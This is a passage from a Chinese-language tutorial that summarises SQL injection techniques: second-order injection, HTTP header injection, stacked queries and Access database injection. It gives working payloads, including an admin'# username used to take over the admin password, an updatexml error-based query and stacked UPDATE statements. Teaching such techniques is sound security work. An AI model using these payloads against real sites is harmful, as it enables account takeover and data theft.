SQL注入系列总结二
前言
SQL注入的危害:
(1).数据库信息泄露,数据库中存放用户的信息隐私数据的泄露
(2).服务器被远程控制,被安装后门
文章目录
- 前言
- 七.二次注入
- 八.http头注入
- 九.堆叠注入
- 十.access数据库注入
七.二次注入
二次注入属于SQL注入的一种场景,是指已存储(数据库,文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。二次注入比普通SQL注入利用更加困难,利用门槛更高,普通注入数据直接进到SQL查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到SQL查询
简言:如登录一个网站,进行网站账号注册,然后再在网站里面更改密码
payload(省略了有源码变量前的’$’):
(1)后端源码:
sql = "UPDATE users SET PASSWORD='pass' where username='username' and password='curr_pass' ";
(2)新建用户,构造名字 admin’#
(3)重置账号密码,输入名字admin’#,修改过后发现被修改的账号是admin
其原因就是(修改密码时,源码变化):#号注释了后面的引号
sql = "UPDATE users SET PASSWORD='pass' where username='admin' # ' and password='curr_pass' ";
(4)从而修改了别人账号的密码
八.http头注入
http头注入其实并不是新的SQL注入类型,而是指出现SQL注入漏洞的场景。有时候后台开发人员为了验证客户端头信息(比如常用的cookie验证),会对客户端的http header信息进行获取并使用SQL进行处理,如果此时没有足够的安全考虑则可能会导致基于http header的SQL inject漏洞
payload:
(1)用burp抓包,信息头user-agent处加单引号报错
(2)构造闭合,后端源码:
insert = "INSERT INTO `security`.`uagent` (`uagent`,`ip_address`,`username`) VALUES (`$uagent`,`$IP`,`$uname`)";
(3)1’ and ‘1’ = '1 构造闭合
1' and updatexml(1,concat(0x7e,(select user()),0x7e),1) and '1'='1
九.堆叠注入
在SQL语句中,分号代表一条SQL语句结束,而堆叠注入就是多条SQL一起执行,堆叠注入不同于其他注入,有局限性
前提是你需要知道字段,表名称
payload:
(1)如:1';create table test like users --+
创建一个名为test的表
(2)如:1';update users set password='admin@123' where username='admin' --+
修改用户密码
十.access数据库注入
access数据库没有库,那些.mdb的文件就是access数据库的文件,打开里面有表,有列,所以注入点只能都是猜测
源码:id=request(“id”)
sql =“select * from product where id=”$id
方法1:联合查询
(1)判断注入点是否存在
(2)猜测表名,如?id=123 and 1=2 union select 1,2,3 from xxx
,这里的xxx即是数据库表名,要猜测出来,或者使用字典对名字进行遍历猜测
(3)猜测字段名,在猜测出表名后,如?id=123 and 1=2 union select 1,x,3 from table
,对字段名x进行猜测
方法2:逐字猜解法
(1)猜测表名,and exists(select * from 表名)
(2)猜测字段名,and exists(select id from admin)
,对id进行猜测
SQL注入系列总结二相关推荐
- SQL注入系列之环境搭建(一)----ASP+ACCESS注入环境搭建
一.常见网站搭建组合 操作系统:windows linux 搭建平台:iis apache uginx tomcat 脚本格式:asp php aspx jsp cgi war py pl do js ...
- pikachu靶场通关之sql注入系列
目录 一.前置知识 二.SQL注入 三. 注入的一般方法 1. 手动注入 (1)联合查询union注入: (2)基于报错信息注入: (3)盲注: 2. 使用sqlmap注入 (1) 前置知识 (2) ...
- Linq To Sql进阶系列(二)M:M关系
在Linq To Sql进阶系列(一) 一文中,我们谈到了数据库中的两种基本关系1:M 与1:1. 而现实世界中,还有一种M:M 的关系.比如,一个老师可以有多个学生,而一个学生也可以有多个老师.老师 ...
- 学习SQL注入系列篇(1)
文章目录 SQL注入原理和流程 SQL类型 获取数据库信息 SQL注入工具 1. SQLmap常用命令使用 SQL注入原理和流程 SQL类型 DQL:数据查询语言(select) DML:数据操作语言 ...
- SQL注入教程——(二)常用语法基础
本文使用的数据库为hijack89 该数据库中存在名为user 的表 表中存在id.username.password 三个列 具体数据内容如下: 注意:该数据表第一条数据项为id为2,usernam ...
- postgresql两个列模糊比较_数据分析之SQL优化系列(二)---PostgreSQL 的索引
参考<PostgreSQL11.2-中文手册> 下面这个链接,讲的通俗易懂,可以看看. 数据分析师不得不知道的SQL优化 - 鑫获 - 博客园www.cnblogs.com 索引是提高数 ...
- SQL注入系列(一)——超详细SQL注入环境搭建
首先准备一台:windows2008 sever 的虚拟机(如果电脑配置较低的,可以开自己本机) phpstudy2016(个人喜好) 下载chrome浏览器(用google浏览器,存属于个人爱好哈~ ...
- SQL基础系列(二)——单表查询
本文以单表查询为边界,介绍如何对一张表进行简单查询.限制条件查询.结果排序等内容.每种情况均有例句和补充说明. 如想看更多示例,请移步<SQL基础教程(第二版)>-MICK(如需电子版,可 ...
- SQL注入学习资料总结
什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国 ...
最新文章
- Java学习必不可少的网站,快收藏起来
- pandas DataFrame(2)-行列索引及值的获取
- Python_序列对象内置方法详解_String
- give girls more options to choose
- php返回json的结果
- asp.net MVC Session 第二次加载丢失问题
- 使用Envoy代理的微服务模式,第二部分:超时和重试
- oracle新建一个用户_Kettle 连接oracle将数据保存到Excel
- 什么是一致性Hash算法? 1
- C++编程语言中const关键字介绍
- aliplayer阿里云播放器直播及录播前端代码
- java中榨汁机的代码_《榨汁机食谱大全》(不断更新中)
- php的toast,toast提示是什么
- html中圆角和颜色透明度的属性与使用
- 【Devc++】双人跑酷小游戏1.3
- Smatch 最基础的应用
- Java全栈工程师学习
- 编程基本功训练:流程图画法及练习
- 5.4.1 映射Blob和Clob类型@Lob
- 今日免费PNG图标集下载 - SweetiePlus